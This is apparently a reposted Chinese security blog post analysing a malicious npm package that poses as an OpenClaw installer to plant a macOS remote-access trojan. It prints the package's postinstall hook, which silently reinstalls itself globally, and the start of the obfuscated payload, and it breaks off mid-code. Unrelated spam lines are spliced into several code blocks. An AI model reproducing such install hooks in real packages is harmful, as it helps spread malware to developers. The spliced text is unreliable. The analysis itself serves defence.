文章总结: 该文档详细披露了恶意NPM包@openclaw-ai/openclawai伪装成合法工具OpenClaw安装器,实则针对macOS用户投递RAT木马的攻击事件。文章从包体分析、反混淆解密、攻击链复盘等维度,深度剖析了该恶意软件如何通过精细的社会工程学界面、伪造系统弹窗与FDA授权诱导,窃取Keychain、浏览器凭据、加密货币钱包等敏感数据,并具备持久化驻留与远程控制能力,同时给出了实用的安全防范建议。 综合评分: 94 文章分类: 恶意软件,威胁情报,代码审计,安全意识,逆向分析

原创
XueMian XueMian
雪面科技
2026年3月12日 12:16 澳大利亚

#
说实话,npm 生态的安全问题已经不是什么新鲜事了,但这次发现的这个恶意包,操作之精细、窃取范围之广,还是让人看完直接「我嘞个豆」。这攻击者怕不是把社会工程学的教材从头到尾背了一遍。
安全研究机构 JFrog 发现了一个名为 @openclaw-ai/openclawai 的恶意 npm 包。这个包伪装成 OpenClaw(一个合法的多渠道 AI 网关工具)的安装器,实际上干的事情是部署一个远程访问木马(RAT),然后把你 macOS 上能偷的东西偷了个底儿掉。
最离谱的是——截至写这篇文章的时候,这个包还在 npm 上,你现在就能下载到。npm 的审核机制?不存在的,纯纯摆设。
我们来实际看看:
$ npm view @openclaw-ai/openclawai @openclaw-ai/[email protected] | ISC | deps: none | versions: 2 openclaw-ai installer https://openclaw.com bin: openclaw dist .tarball: https://registry.npmjs.org/@openclaw-ai/openclawai/-/openclawai-1.5.15.tgz .shasum: 5f96e92cc2aaab51f45a20e34f6f4aef0d4e8abd .integrity: sha512-XXXXXXXXXXXXXXXXXXXXXX .unpackedSize: 70.6 kB .fileCount: 7 maintainers: - openclaw-ai <[email protected]> dist-tags: latest: 1.5.15 published 4 days ago by openclaw-ai <[email protected]>
几个关键信息,我帮你划重点:
- deps: none
— 零依赖。一个”安装器”零依赖?合理吗?这不就是此地无银三百两嘛
- 维护者邮箱
[email protected]— 一眼丁真,鉴定为一次性随机邮箱
- 只有 2 个版本
(1.5.14 和 1.5.15),分别在 2026 年 3 月 3 日和 3 月 6 日发布——来得快去得也快
- 解包大小 70.6 kB,7 个文件
— 麻雀虽小,五脏俱全(恶意功能一个不少)
- bin 字段直接指向
openclaw→scripts/setup.js— 入口就是恶意脚本
对比一下正版的 OpenClaw 包:
GPT plus 代充 只需 145$ npm view openclaw [email protected] | MIT | deps: 27 | versions: 55 The open-source, multi-channel AI gateway
看到没?正版包名叫 openclaw(by steipete),有 27 个依赖、55 个版本、MIT 协议。而恶意包用了 @openclaw-ai/openclawai 这个带 scope 的名字来碰瓷,ISC 协议,零依赖。完全不是一个东西。这操作就像有人注册了个”苹果官方旗舰总店”来卖山寨机——名字唬人,内容拉胯。
光看报告不过瘾,我直接从 npm 下载了 tarball(不安装,不触发任何脚本),拆开看看里面到底藏了什么。搞安全研究嘛,不亲手拆一下怎么行。
# 安全下载:只拉 tarball,不执行 postinstall $ npm pack @openclaw-ai/openclawai --pack-destination /tmp/analysis # 解压查看文件结构 $ tar xzf openclaw-ai-openclawai-1.5.15.tgz $ ls -la package/ Readme.md 598B # 精心伪造的文档 package.json 598B # 入口配置 scripts/build.js 590B # 假的构建脚本(只是复制文件) scripts/postinstall.js 389B # 触发器:全局安装自己 scripts/setup.js 63.6kB # ← 恶意主体,63KB 压缩成一行 src/index.js 1.3kB # 掩护用的假 SDK 代码 src/index.d.ts 458B # TypeScript 类型定义(装样子)
GPT plus 代充 只需 145, "dependencies":{} }
注意:没有显式声明 postinstall 钩子——因为它藏在 scripts/postinstall.js 文件里(npm 会自动检测 scripts/ 下的生命周期脚本文件)。这波属于是闷声发大财。
#!/usr/bin/env node ‘use strict’; const { execSync } = require(‘child_process’);
console.log(’ 📦 Installing additional dependencies…‘); try { execSync(“npm i -g @openclaw-ai/openclawai”, { stdio: ‘inherit’ }); console.log(’ ✔ Dependencies installed successfully. ‘); } catch (e) { console.log(’ ⚠ Optional dependency installation had warnings (continuing) ‘); }
看到没?就这么简单粗暴。装完之后再 npm i -g 全局安装一遍自己——这样 bin 字段里的 openclaw 命令就注册到你的 PATH 了。注意那个 catch 块——即使全局安装失败了,它也不会报错,假装没事继续走。不管你信不信,反正我装完了。
GPT plus 代充 只需 145function useAsyncState(promiseFn, options = {}) { // … 一个完全无害的 async 状态管理工具 } function init(config = {}) { return { ready: true, version: ‘1.5.14’, config }; }
这段代码是完全无害的,写得还挺像模像样——有 JSDoc 注释、有 TypeScript 类型定义、README 里还有使用示例。纯粹是为了让你 review 代码时放松警惕。你打开 src/index.js 一看,”嗯,就是个简单的工具库”,然后就不去看 scripts/setup.js 了。这招叫「灯下黑」,属于是把《三十六计》玩明白了。
这才是重头戏。63,567 个字符,全部压缩在一行里,使用了 obfuscator.io 的完整混淆套件:
#!/usr/bin/env node const _0x845d0a=_0x55c1;(function(_0x2c7d24,_0x2c5a61)” onblur=“if(this.value == “){this.value = “}” tabindex=“1” />
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/245614.html